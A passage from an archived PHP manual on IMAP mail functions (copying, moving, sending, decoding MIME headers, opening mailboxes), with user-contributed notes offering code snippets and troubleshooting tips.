                        $this->MIME = TYPEAPPLICATION;
                        break;
        }
    }

    function LECTURE_FILE_MAIL($file,$data,$mime,$type)
    {
        $this->BASENAME = $file;
        $this->MIME        = $mime;
        $this->DATA     = $data;
        $this->TYPE        = $type;
    }

    function ATTACHER_FICHIER()
    {
        $part["type"]        =$this->MIME."<br>";
        $part["encoding"]    =ENCBINARY."<br>";
        $part["subtype"]     =$this->TYPE."<br>";
        $part["description"]=$this->BASENAME."<br>";
        $part["contents.data"]=$this->DATA."<br>";
        return $part;
    }

    function ATTACHER_MSG($msg)
    {
        $part["type"]=TEXT;
        $part["subtype"]="plain";
        $part["description"]="message mode texte";
        $part["contents.data"]="$msg\n\n\n\t";

        return $part;
    }

    function ENVELLOPE_MAIL($from,$to,$cc,$sujet="")
    {
        $envelope["from"]=$from;
        $envelope["to"]=$to;
        $envelope["cc"]=$cc;

        if($sujet != "")
            $envelope["subject"]=$sujet;

        return $envelope;
    }

    function ENETE_MAIL()
    {
        $part["type"]=TYPEMULTIPART;
        $part["subtype"]="mixed";
        return $part;
    }
}
?>
prices at dflytech dot com 02-Feb-2002 09:32
In regards to my earlier note about "charset", this feature seems to have been added in the 4.1.X series  I have not actually checked 4.1.0, but it is in 4.1.1 and not it 4.0.6.
trionon at mail dot ru 28-Jan-2002 08:03
At least the following items in $part[] hashes are parsed:

type
encoding
charset
subtype
id
description
disposition.type
disposition
contents.data
lines
bytes
md5

Note: $part['disposition'] is a hash:

$part['disposition.type'] = 'attachment';
$part['disposition'] = array ('filename'=>'file.txt');

This will transform in such part header:

Content-disposition: attachment; filename="file.txt"
vlad ( at php dot net) 16-Jan-2002 03:18
... and the headers (elements of the envelope) are case-sensitive and are listed below:

remail
return_path
date
from
reply_to
in_reply_to
subject
to
cc
bcc
message_id
custom_headers

If you can't find a header you need in this list, you can use 'custom_headers'. It is just an array of lines to be appended to the header without any formatting, like this:

$envelope["custom_headers"] = Array("User-Agent: My Mail Client", "My-Header: My Value");

TODO: This should really migrate from a note to documentation
prices at dflytech dot com 07-Jan-2002 06:22
The documentation above does not mention that you can use the index ["charset"] to set the character set of the messsage part.

Example:

$part1["type"]= "TEXT";
$part1["subtype"]="PLAIN";
$part1["charset"] = "koi8-r";

to send a message in Russian-koi8.

Scott  =)


Copy specified messages to a mailbox

  • « imap_mail_compose
  • imap_mail_move »
  • PHP Manual
  • IMAP Functions
  • Copy specified messages to a mailbox

imap_mail_copy

(PHP 4, PHP 5)

imap_mail_copy — Copy specified messages to a mailbox

Description

bool imap_mail_copy ( resource $imap_stream , string $msglist , string $mailbox [, int $options = 0 ] )

Copies mail messages specified by msglist to specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msglist

msglist is a range not just message numbers (as described in » RFC2060).

mailbox

The mailbox name, see imap_open() for more information

options

options is a bitmask of one or more of

  • CP_UID - the sequence numbers contain UIDS
  • CP_MOVE - Delete the messages from the current mailbox after copying

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_mail_move() - Move specified messages to a mailbox

User Contributed Notes

Ben 26-Jan-2013 10:18
If you use this function and you get the following notice:

Notice: Unknown: IMAP protocol error: Could not parse command (errflg=2) in Unknown on line 0

Notice: Unknown: Could not parse command (errflg=2) in Unknown on line 0

you should check the function parameters. This notice appears (according to what I found on the internet and my problems) when it gets an invalid $msglist. So be sure to give the right number (as a String!):
"$msg_num", $msg_num or (string) $msg_num.

Dont use '$msg_num' when calling the function, this will literally send the string $msg_num.
You can give a string like "1,3,5,7,8", which will work perfectly fine to move the given mails.

I had all my mailnumbers in an array ( $messageSet) and used

<?php
$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )
?>

What I hadn't had thougt of was that my $messageSet was sometimes empty, that was when I got the notice. So you might want to check that by putting first:

<?php
if ( !( empty( $messageSet ) ) ) {

$messageSetImpl = implode ( "," , $messageSet );

imap_mail_copy( $imapStream, $messageSetImpl, $mailBox )

}
?>

That should work.
richard dot oplustil at gmail dot com 27-Mar-2012 12:18
imap_ mail_ move and imap_mail_copy don't work with sequence numbers on MS Exchange. imap_ uid in combination with CP_UID works fine.
marcus at names dot co dot uk 08-Jul-2002 07:51
If you are having problems getting imap_mail_copy and imap_mail_move to work, check you have installed imap_devel (the imap development libraries) as well as imap (the imap daemon). Without it, PHP appears to configure correctly --with-imap, but some functions do not work.

It took me about 12 hours to figure this out!!
hxlvt at hotmail dot com 05-Jan-2001 01:37
After much fooling around, imap_mail_copy did work for me. One thing you might want to check, if you are having problems, is the new mailbox name. Make sure it is just a folder name, e.g. INBOX.haha without the server part.


Move specified messages to a mailbox

  • « imap_mail_copy
  • imap_mail »
  • PHP Manual
  • IMAP Functions
  • Move specified messages to a mailbox

imap_mail_move

(PHP 4, PHP 5)

imap_mail_move — Move specified messages to a mailbox

Description

bool imap_mail_move ( resource $imap_stream , string $msglist , string $mailbox [, int $options = 0 ] )

Moves mail messages specified by msglist to the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msglist

msglist is a range not just message numbers (as described in » RFC2060).

mailbox

The mailbox name, see imap_open() for more information

options

options is a bitmask and may contain the single option:

  • CP_UID - the sequence numbers contain UIDS

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

imap_mail_move() will flag the original mail with a delete flag, to successfully delete it a call to the imap_expunge() function must be made.

See Also

  • imap_mail_copy() - Copy specified messages to a mailbox

User Contributed Notes

ThEDocTor 02-Feb-2011 07:15
To copy/move a mail in Gmail to a particular Folder like Starred/Spam/Drafts/Trash

use the following statement and don't forget to call CL_EXPUNGE or imap_expunge($mbox) after it.

<?php
imap_mail_copy($mbox,'16','[Gmail]/Starred'); // 16 is the message number, which can also be a range.(ex: '1:15')

imap_close($mbox,CL_EXPUNGE);
?>

Incase u want to send it to a personally created Label/folder(ex: Test) use..

<?php
imap_mail_copy($mbox,'16','Test');
imap_expunge($mbox);
imap_close($mbox);
?>
jim dot bodine at comcast dot net 05-Jul-2007 07:49
I offer the following example because it took me HOURS to figure this out

<?php
$this->mailInBox = imap_open($this->mailConnectString."INBOX", $this->accountLogin, $this->accountPassword);

            $this->messageCount = imap_num_msg($this->mailInBox);
            echo "Processing " . $this->messageCount . " messages:<Br>";
            for ($i = 1; $i <= $this->messageCount; ++$i) {
                $header = imap_header($this->mailInBox, $i);

                $prettydate = date("jS F Y", $header->udate);
                $fromHost = $header->from[0]->host;

                if (isset($header->from[0]->personal)) {
                    $personal = $header->from[0]->personal;
                } else {
                    $personal = $header->from[0]->mailbox;
                }

                $body = imap_fetchbody($this->mailInBox, $i, "1.1");
                if ($body == "") {
                   $body = imap_fetchbody($this->mailInBox, $i, "1");
                }

                    $move = "INBOX.processed" . date("Ymd");
                    echo "trying to move:" . $i . "<br>";
                    @imap_mail_move($this->mailInBox, $i, $move);

                }

?>
alex at bestgames dot ro 21-Nov-2005 10:36
After using imap_mail_move, imap_mail_copy or imap_delete it is necesary to call imap_expunge() function.
php at guardn dot de 09-Jul-2003 06:06
To move mails via IMAP on an Exchange Server into "Gel�schte Objekte" use:

imap_mail_move($mbox, $delmsg, "Gel&APY-schte Objekte");

It took me some tcpdumping to get this out, since both
imap_utf7_encode and
imap_utf8

did not translate it right.

Guardn
dinter at gmx dot de 27-Jan-2003 07:18
I've used a dot in
imap_mail_move($mbox,$movmsgid,'INBOX.send');
instead of
INBOX/test
and it work's fine.
vlad (php.net) 04-Nov-2002 10:37
This keeps biting me time after time. A lot of IMAP servers with quotas don't implement 'move' right - they do a 'copy&delete' instead and don't recognize that this conflicts with their quota implementetions. So, if you try to move a large message, you'll exceed your quota even though moving it does not increase the total size of your mailbox. This is not PHP-specific, but I bet it'll bite someone else besides me, so here you go.
juuuugroid at yahoo dot com 17-Jul-2002 11:28
I had the most trouble with figureing out what the message list was supposed to be.  There was one comment by jan@showstar.com but i was still terribly confused.  So I searched and searched and searched.  I read rfc2060 over 10 times.  Then BAM!  My brother found it here:

http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2060.html#sec-6.4.7

Here is the importand stuff.

Another important field is the SEQUENCE, which identifies a set of messages by consecutive numbers from 1 to n where n is the number of messages in the mailbox.  A sequence may consist of a single number, a pair of numbers delimited by colon (equivalent to all numbers between those two numbers), or a list of single numbers or number pairs.  For example, the sequence 2,4:7,9,12:15 is equivalent to
   2,4,5,6,7,9,12,13,14,15 and identifies all those messages.

There is what I know about it.  BAM!
laurent dot penou at gadz dot org 17-Aug-2001 09:28
to complete the previous example, if the mbox/folders names are
{imap.free.fr}INBOX
{imap.free.fr}INBOX/draft
{imap.free.fr}INBOX/test

and you want to copy/move from INBOX to INBOX/test this is the syntax:

$mbox = imap_open("{imap.free.fr}INBOX",$mailuser,$mailpass)
      or die("can't connect: ".imap_last_error());
...
imap_mail_move($mbox,$messageset,"INBOX/test");

Hope this could help !
ian at showstar dot com 21-Jan-2000 03:41
The syntax for the message list is defined in RFC2060
It is a string, containing a list of message numbers and ranges, separated by commas (no spaces anywhere.) For example, "1,2,5,11:15,19" would be accepted by imap_mail_copy or imap_mail_move.
A range of messages is defined as two message numbers separated by a colon (Ex. "1:10".) Also, a "*" may be used to refer to the last message in a mailbox. (Ex. "1:*" refers to all messages)
Be careful not to use the same mailbox for source and destination, especially if you expunge the mailbox immediately afterwards; the message will be copied (back over itself), flagged as deleted (by the imap_mail_move function), and then expunged.

The following code will move the messages in the $msg_no[] array from the folder in $mbox_name to the folder in $newmbox_name: ($mbox is an already-opened imap stream)

<?php
if ($mbox_name != $newmbox_name) {
  reset($msg_no);
  $messageset = implode (",",$msg_no);
  imap_mail_move($mbox,$messageset,$newmbox_name);
  imap_expunge($mbox);
}
?>
portico dot nospam at neverwas dot net 11-Jan-2000 12:17
This function works, just not like everything else IMAP in PHP3... rather than feeding the server {server.ext/type:port}folder just feed it the folder's name.
matt at bonneau dot net 21-Dec-1999 12:49
This function copies the mail and then marks the source as deleted.  In order to see the changes, you must imap_expunge the source box.


Send an email message

  • « imap_mail_move
  • imap_mailboxmsginfo »
  • PHP Manual
  • IMAP Functions
  • Send an email message

imap_mail

(PHP 4, PHP 5)

imap_mail — Send an email message

Description

bool imap_mail ( string $to , string $subject , string $message [, string $additional_headers = NULL [, string $cc = NULL [, string $bcc = NULL [, string $rpath = NULL ]]]] )

This function allows sending of emails with correct handling of Cc and Bcc receivers.

The parameters to, cc and bcc are all strings and are all parsed as » RFC822 address lists.

Parameters

to

The receiver

subject

The mail subject

message

The mail body, see imap_mail_compose()

additional_headers

As string with additional headers to be set on the mail

cc

bcc

The receivers specified in bcc will get the mail, but are excluded from the headers.

rpath

Use this parameter to specify return path upon mail delivery failure. This is useful when using PHP as a mail client for multiple users.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mail() - Send mail
  • imap_mail_compose() - Create a MIME message based on given envelope and body sections

User Contributed Notes

ava3ar at gmail dot com 04-Aug-2011 10:50
a patch has been submitted to fix this in 5.4
Mathias Rav 23-Jun-2009 06:07
As per http://bugs.php.net/bug.php?id=30688 the $rpath argument is ignored, and since the (as of now) 4 year old bug is tagged WONTFIX in the bug tracker, this function is effectively deprecated in favour of mail().
uphonesimon at gmail dot com 23-Dec-2005 08:45
make sure you've correctly setup the SMTP parameters in php.ini
and aslo make sure that the SMTP server accepts relay

for some mail servers, you have to open up an imap stream, log in, and then you can send mail through imap_mail
bandpay at hotmail dot com 05-Jan-2001 03:01
Extending the above note.
When the socket connection is stablished, it works exactly as if you had openned a telnet connection to the news server. If you don't know what kind of headers you have to send to the news server, then I'll suggest that you better give it a try and play with a telnet connection like this:

telenet news.servername.com 119

eaxmple:

telnet news.euroconnect.dk 119
Trying 195.184.44.30...
Connected to news.euroconnect.net (195.184.44.30).
Escape character is '^]'.
200 news.euroconnect.net (Typhoon v1.2.1)

then you'll receive confirmation from the server that you are connected. Now type "help" and enter, and you'll see what commands are supported.

eaxmle:

help
100 Legal Commands
  article [<messageid>|number]
  authinfo type value
  body [<messageid>|number]
  date
  group newsgroup
  head [<messageid>|number]
  help
  last
  list [active wildmat|active.times|counts wildmat]
  list [overview.fmt|newsgroups wildmat]
  listgroup newsgroup
  mode reader
  newgroups yyyymmdd hhmmss [GMT]
  newnews newsgroups yyyymmdd hhmmss [GMT]
  next
  post
  stat [<messageid>|number]
  xhdr field [range]
  xover [range]
  xpat field range pattern
  quit

If you want to post a message, you can start by entring the "post" command.

example:

post
340 Send Article to be Posted

From here you can start to enter the header information.
The most important headers are:
From:
Subject:
Newsgroup:

after the ":" a "white space" must follow.

If you are posting the multipart message then remember
MIME-Version: 1.0

This one is also one of the important headers when you are posting a multipart message. The boundary must follow the content type in the same line.

Content-Type: multipart/mixed; boundary="------------4A11A9ABCFCA70DD4E0C3605"

Take a look at the article below to find out more about headers and packing of the message.

http://www.phpbuilder.com/columns/kartic20000807.php3


Get information about the current mailbox

  • « imap_mail
  • imap_mime_header_decode »
  • PHP Manual
  • IMAP Functions
  • Get information about the current mailbox

imap_mailboxmsginfo

(PHP 4, PHP 5)

imap_mailboxmsginfo — Get information about the current mailbox

Description

object imap_mailboxmsginfo ( resource $imap_stream )

Checks the current mailbox status on the server. It is similar to imap_status(), but will additionally sum up the size of all messages in the mailbox, which will take some additional time to execute.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns the information in an object with following properties:

Mailbox properties
Date | date of last change (current datetime)
Driver | driver
Mailbox | name of the mailbox
Nmsgs | number of messages
Recent | number of recent messages
Unread | number of unread messages
Deleted | number of deleted messages
Size | mailbox size

Returns FALSE on failure.

Examples

Example #1 imap_mailboxmsginfo() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
      or die("can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);

if ($check) {
    echo "Date: "     . $check->Date    . "<br />\n" ;
    echo "Driver: "   . $check->Driver  . "<br />\n" ;
    echo "Mailbox: "  . $check->Mailbox . "<br />\n" ;
    echo "Messages: " . $check->Nmsgs   . "<br />\n" ;
    echo "Recent: "   . $check->Recent  . "<br />\n" ;
    echo "Unread: "   . $check->Unread  . "<br />\n" ;
    echo "Deleted: "  . $check->Deleted . "<br />\n" ;
    echo "Size: "     . $check->Size    . "<br />\n" ;
} else {
    echo "imap_check() failed: " . imap_last_error() . "<br />\n";
}

imap_close($mbox);

?>

User Contributed Notes

phrank 15-Mar-2010 02:32
imap_mailboxmsginfo() is NOT similar to imap_status(). You will easily recognize that if you compare the prototypes:

object imap_mailboxmsginfo  (  resource $imap_stream  )

object imap_status  (  resource $imap_stream  ,  string $mailbox  ,  int $options  )

One SIGNIFICANT difference is that imap_mailboxmsginfo() gets the mailbox name from the stream resource and imap_status() requires any mailbox name as second argument.
Maxg 30-Aug-2004 11:41
About the slowness of imap_mailboxmsginfo() : if used on an IMAP connection, I did checked my mailserver logs and it appeared to send FETCH commands to retrieve the headers of EVERY messages of the mailbox ...
So, if you have, let's say, 400 messages in a folder, the function will be very slow (>1.5 sec on a local server !) ...

I strongly advise you to use imap_status() instead, which only sends one < STATUS "Mailbox/Name" (MESSAGES UNSEEN) > and is actually a lot faster (at least with IMAP, but that's maybe not true with POP3)
m at tacker dot org 12-Mar-2003 10:55
The runtime difference between imap_status and imap_mailboxmsginfo is very significant on large mailboxes

<?php

/** opening connection to a
   * mailbox with 3987 messages
   * and retrive status information **/
$mbox = imap_open ('{mail.somwhere.com:110}', $user, $password);

$mbox_info = imap_status($mbox, '{mail.somwhere.com:110}INBOX', SA_MESSAGES);
/** took 11.05 seconds **/

$mbox_info = imap_mailboxmsginfo($mbox);
/** took 6 minutes 5.382 seconds **/

?>
til_roque at yahoo dot com 03-Mar-2003 11:13
the 'recent' of this function returns the same as 'UIDvalidity' from imap_status() ... makes no sense (or dos it?)
js at jerntorget dot se, ej at jerntorget dot se 20-Sep-2002 04:29
then use imap_get_quotaroot().....

or use this one (works with qmail):
function get_quotaroot() {
if(!$socket = @fsockopen("your server", your port);
    return false;
fgets($socket, 1024);
fputs($socket, "a001 LOGIN ".$username." ".$password."\n");
fgets($socket, 1024);
fputs($socket, "a002 GETQUOTAROOT INBOX\n");
fgets($socket, 1024);
$result = fgets($socket, 1024);
fputs($socket, "a003 LOGOUT\n");
fgets($socket, 1024);
sscanf($result, '* QUOTA "ROOT" (STORAGE %d %d MESSAGE %d %d', $usedSize, $maxSize, $usedNum, $maxNum);
return array("usedSize" => $usedSize, "maxSize" => $maxSize, "usedNum" => $usedNum, "maxNum" => $maxNum);
}
stephane-wantiez at tiscalinet dot be 11-Aug-2002 10:13
imap_get_quota need you to be the admin of the mail server !
dolce at koulikov dot cc 13-Jan-2002 07:57
Don't lie... I've timed it, there is merely a time difference, besides it returns a lot of other useful info packed in an object!
whw at my169 dot com 04-Jan-2002 04:35
It is very slow,so don't use it to get mailbox size,used imap_get_quota instead.


Decode MIME header elements

  • « imap_mailboxmsginfo
  • imap_msgno »
  • PHP Manual
  • IMAP Functions
  • Decode MIME header elements

imap_mime_header_decode

(PHP 4, PHP 5)

imap_mime_header_decode — Decode MIME header elements

Description

array imap_mime_header_decode ( string $text )

Decodes MIME message header extensions that are non ASCII text (see » RFC2047).

Parameters

text

The MIME text

Return Values

The decoded elements are returned in an array of objects, where each object has two properties, charset and text.

If the element hasn't been encoded, and in other words is in plain US-ASCII, the charset property of that element is set to default.

Examples

Example #1 imap_mime_header_decode() example

<?php
$text = "=?ISO-8859-1?Q?Keld_J=F8rn_Simonsen?= <keld@example.com>";

$elements = imap_mime_header_decode($text);
for ($i=0; $i<count($elements); $i++) {
    echo "Charset: {$elements[$i]->charset}\n";
    echo "Text: {$elements[$i]->text}\n\n";
}
?>

The above example will output:

Charset: ISO-8859-1
Text: Keld Jørn Simonsen

Charset: default
Text:  <keld@example.com>

In the above example we would have two elements, whereas the first element had previously been encoded with ISO-8859-1, and the second element would be plain US-ASCII.

See Also

  • imap_utf8() - Converts MIME-encoded text to UTF-8

User Contributed Notes

paolo dot ceccacci at gmail dot com 24-Sep-2014 05:45
Here's a "flatMimeDecode" version converting UTF-8 to iso-8859-1:

function flatMimeDecode($string) {
        $array = imap_mime_header_decode ($string);
        $str = "";
        foreach ($array as $key => $part) {
            if($part->charset == "UTF-8"){
            $str .= utf8_decode ($part->text);
            }else{
            $str .= $part->text;
            }
        }
        return $str;
    }
Anonymous 05-Mar-2013 06:42
A nice way to decode strings is to use the mb_list_encodings(), but I had two problems with it:
sometimes, the charset is uppercase in the header an lowercase in mb_list_encodings() and sometimes, the charset is not in the mb_list_encodings() list.

<?php
function upperListEncode() { //convert mb_list_encodings() to uppercase
    $encodes=mb_list_encodings();
    foreach ($encodes as $encode) $tencode[]=strtoupper($encode);
    return $tencode;
    }

function decode($string) {
    $tabChaine=imap_mime_header_decode($string);
    $texte='';
    for ($i=0; $i<count($tabChaine); $i++) {

        switch (strtoupper($tabChaine[$i]->charset)) { //convert charset to uppercase
            case 'UTF-8': $texte.= $tabChaine[$i]->text; //utf8 is ok
                break;
            case 'DEFAULT': $texte.= $tabChaine[$i]->text; //no convert
                break;
            default: if (in_array(strtoupper($tabChaine[$i]->charset),upperListEncode())) //found in mb_list_encodings()
                        {$texte.= mb_convert_encoding($tabChaine[$i]->text,'UTF-8',$tabChaine[$i]->charset);}
                     else { //try to convert with iconv()
                          $ret = iconv($tabChaine[$i]->charset, "UTF-8", $tabChaine[$i]->text);
                          if (!$ret) $texte.=$tabChaine[$i]->text;  //an error occurs (unknown charset)
                          else $texte.=$ret;
                        }
                break;
            }
        }

    return $texte;
    }
?>
kai at froghh dot de 04-Aug-2008 06:25
Beware of multilined subjects containing whitespaces which are not part of the subject itself, but needed as functional characters for the clients.

i.e. you can have a mail header containing content like
Subject: =?iso-8859-1?Q?WG=3A_Mobilit=E4t_verschlechtert_--=3E_174?=
    =?iso-8859-1?Q?6?=

(carriage return and tabspace).
imap_mime_header_decode returns 5 parts (and not expected 2)
for this example.
- The first containing the space between "subject:" and the subject itself.
- The second is the first encoded text
- The third will be the line-break within the head lines.
The were inserted to keep rfc compliant line length and are NOT part of the original subject entered by the sender.
- The fourth will be the second part of the subject.
- The fifth is a line break - the last character will be a line break any time other head lines or mailbody will follow, so it's needed in the head - but not part of the original subject.
s dot wiese at trabia dot md 18-Dec-2007 10:46
The example of diego is working well, he has a (very) little
mistake in his code. Here is the corrected version:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>
diego nunes <dn at nospam dot dnunes dot com> 14-Dec-2006 07:12
The previous comment (from hans) seems to make no sense at all, since it will not change the encoding and possibly result in a "multiencoding" string (that the browser and anything else will be unable to render, of course).

    I use a little function to decode the whole header to a specified encoding. It is as follow:

<?php
//return supported encodings in lowercase.
function mb_list_lowerencodings() { $r=mb_list_encodings();
  for ($n=sizeOf($r); $n--; ) { $r[$n]=strtolower($r[$n]); } return $r;
}

//  Receive a string with a mail header and returns it
// decoded to a specified charset.
// If the charset specified into a piece of text from header
// isn't supported by "mb", the "fallbackCharset" will be
// used to try to decode it.
function decodeMimeString($mimeStr, $inputCharset='utf-8', $targetCharset='utf-8', $fallbackCharset='iso-8859-1') {
  $encodings=mb_list_lowerencodings();
  $inputCharset=strtolower($inputCharset);
  $targetCharset=strtolower($targetCharset);
  $fallbackCharset=strtolower($fallbackCharset);

  $decodedStr='';
  $mimeStrs=imap_mime_header_decode($mimeStr);
  for ($n=sizeOf($mimeStrs), $i=0; $i<$n; $i++) {
    $mimeStr=$mimeStrs[$i];
    $mimeStr->charset=strtolower($mimeStr->charset);
    if (($mimeStr == 'default' && $inputCharset == $targetCharset)
      || $mimStr->charset == $targetCharset) {
      $decodedStr.=$mimStr->text;
    } else {
      $decodedStr.=mb_convert_encoding(
        $mimeStr->text, $targetCharset,
        (in_array($mimeStr->charset, $encodings) ?
          $mimeStr->charset : $fallbackCharset)
        )
      );
    }
  } return $decodedStr;
}
?>

    Hope it helps.
hans at lintoo dot dk 22-Dec-2005 03:10
This is obvious, but nevertheless here is a "flat" version:
<?php
private function flatMimeDecode($string) {
    $array = imap_mime_header_decode($string);
    $str = "";
    foreach ($array as $key => $part) {
        $str .= $part->text;
    }
    return $str;
}
?>
cracker at bigcracker dot ca 22-Feb-2005 01:55
In response to Sven dot Dickert at planb dot de: if you encounter problems with "=?utf-8?Q?" appearing in your headers, I found that simply using "imap_utf8($string)" decoded the "$string" properly and solved my problem perfectly.
Pawel Tomicki <pafka at klub dot chip dot pl> 22-Apr-2004 08:04
<?php

function decode_iso88591($string){
  if (strpos(strtolower($string), '=?iso-8859-1') === false) {
    return $string;
  }
  $string = explode('?', $string);
  return strtolower($string[2]) == 'q' ? quoted_printable_decode($string[3]) : base64_decode($string[3]);
}

?>
mattias at forss dot se 27-Nov-2003 04:45
This function does not code a-z 0-9 like the function posted by bandpay at hotmail dot com

function encode_iso88591($string) {
    if( ereg("[^A-Za-z0-9\ ]", $string) ) {
        $text = "=?iso-8859-1?q?";
        for( $i = 0 ; $i < strlen($string) ; $i++ ) {
            if( ereg("[^A-Za-z0-9]", $string[$i]) ) {
                $text .= "=".dechex(ord($string[$i]));
            } else {
                $text .= $string[$i];
            }
        }
        return $text."?=";
    } else     return $string;
}
hdlim at kis21 dot com 01-Jan-2003 07:35
imap_mime_header_decode, utf-7 and utf-8 problem, i solved the problem using below function. note that iconv function for code converting.
you must replace "EUC-KR" as iconv parameter with charset you want such as "iso-8859-1".

function mime_decode($s) {
  $elements = imap_mime_header_decode($s);
  for($i = 0;$i < count($elements);$i++) {
    $charset = $elements[$i]->charset;
    $text =$elements[$i]->text;
    if(!strcasecmp($charset, "utf-8") ||
       !strcasecmp($charset, "utf-7"))
    {
      $text = iconv($charset, "EUC-KR", $text);
    }
    $decoded = $decoded . $text;
  }
  return $decoded;
}
Sven dot Dickert at planb dot de 16-May-2002 03:31
Beware! imap_mime_header_decode in 4.0.6 is _not_ RFC2047 conform. The string =?utf-7?Q?Petra_M+APw-ller?= will not converted into Petra M�ller cause the charset utf7 is unknown.  Same goes to =?utf-8?Q?Petra_M=C3=BCller?= for charset utf8.
charsyam at liso dot cs dot pusan dot ac dot kr 13-Aug-2001 05:34
I wrote a simple ks_c_5601-1987(2byte)
encode

function encode_ksc5601( $string )
{
 $encode = base64_encode( $string );
 $text = "=?ks_c_5601-1987?B?";
 $text = $text.$encode."?=";
 return $text;
}


Gets the message sequence number for the given UID

  • « imap_mime_header_decode
  • imap_num_msg »
  • PHP Manual
  • IMAP Functions
  • Gets the message sequence number for the given UID

imap_msgno

(PHP 4, PHP 5)

imap_msgno — Gets the message sequence number for the given UID

Description

int imap_msgno ( resource $imap_stream , int $uid )

Returns the message sequence number for the given uid.

This function is the inverse of imap_uid().

Parameters

imap_stream

An IMAP stream returned by imap_open().

uid

The message UID

Return Values

Returns the message sequence number for the given uid.

See Also

  • imap_uid() - This function returns the UID for the given message sequence number

User Contributed Notes

os at simonconsulting dot at 20-Apr-2011 08:44
For me, this function returns FALSE if uid does not match a message in the current mailbox.
dcridland.at.redwire.com 03-Oct-2001 03:32
<p>Note that imap_msgno() doesn't ever give you an error message. So, assuming you're passing about message numbers as a UID, be warned that:</p>
<p>$msguid = false;<br>
$msgno = imap_msgno( $your_initialized_connection, $msguid );</p>
<p>Will leave ($msgno==1) - this is probably not what you want, and it's surprisingly easy to miss while you're doing the basic testing.</p>


Gets the number of messages in the current mailbox

  • « imap_msgno
  • imap_num_recent »
  • PHP Manual
  • IMAP Functions
  • Gets the number of messages in the current mailbox

imap_num_msg

(PHP 4, PHP 5)

imap_num_msg — Gets the number of messages in the current mailbox

Description

int imap_num_msg ( resource $imap_stream )

Gets the number of messages in the current mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Return the number of messages in the current mailbox, as an integer.

See Also

  • imap_num_recent() - Gets the number of recent messages in current mailbox
  • imap_status() - Returns status information on a mailbox

User Contributed Notes

comlampe at aol dot com 08-Apr-2004 09:30
While imap_status sets "read"-Flag when used, imap_num_msg does not touch any flag.


Gets the number of recent messages in current mailbox

  • « imap_num_msg
  • imap_open »
  • PHP Manual
  • IMAP Functions
  • Gets the number of recent messages in current mailbox

imap_num_recent

(PHP 4, PHP 5)

imap_num_recent — Gets the number of recent messages in current mailbox

Description

int imap_num_recent ( resource $imap_stream )

Gets the number of recent messages in the current mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns the number of recent messages in the current mailbox, as an integer.

See Also

  • imap_num_msg() - Gets the number of messages in the current mailbox
  • imap_status() - Returns status information on a mailbox

User Contributed Notes

kucera2 at centrum dot sk 07-Aug-2009 02:54
If someone want to know number of unreaded messages just use imap_mailboxmsginfo
jhoglin at digital-elephant dot com 24-Sep-2003 12:25
If you would like to skip the update of recent messages use the OP_READONLY flag when you open to check for new messages.
dizzy at roedu dot net 04-Feb-2003 06:36
of course it doesnt. because "recent" does NOT mean "unseen" . they are different. for Maildir users, recent means messages found in the "new" subdir (which are moved to "cur" on the first opening of the Inbox). "unseen" are the messages you guys probably want (messages which have never been read).
rok at ipunkt dot biz 27-Aug-2002 11:10
The num_recent value does all the work it has to do. It returns only a number if the mail is not touched any time before.
stephane-wantiez at tiscalinet dot be 11-Aug-2002 07:13
Note that if you close your imap connexion, it seems that all the recents messages are no more recents...
So it's not very useful for a webmail...


Open an IMAP stream to a mailbox

  • « imap_num_recent
  • imap_ping »
  • PHP Manual
  • IMAP Functions
  • Open an IMAP stream to a mailbox

imap_open

(PHP 4, PHP 5)

imap_open — Open an IMAP stream to a mailbox

Description

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

Opens an IMAP stream to a mailbox.

This function can also be used to open streams to POP3 and NNTP servers, but some functions and features are only available on IMAP servers.

Parameters

mailbox

A mailbox name consists of a server and a mailbox path on this server. The special name INBOX stands for the current users personal mailbox. Mailbox names that contain international characters besides those in the printable ASCII space have to be encoded width imap_utf7_encode().

The server part, which is enclosed in '{' and '}', consists of the servers name or ip address, an optional port (prefixed by ':'), and an optional protocol specification (prefixed by '/').

The server part is mandatory in all mailbox parameters.

All names which start with { are remote names, and are in the form "{" remote_system_name [":" port] [flags] "}" [mailbox_name] where:

  • remote_system_name - Internet domain name or bracketed IP address of server.
  • port - optional TCP port number, default is the default port for that service
  • flags - optional flags, see following table.
  • mailbox_name - remote mailbox name, default is INBOX

Optional flags for names
Flag | Description
/service=service | mailbox access service, default is "imap"
/user=user | remote user name for login on the server
/authuser=user | remote authentication user; if specified this is the user name whose password is used (e.g. administrator)
/anonymous | remote access as anonymous user
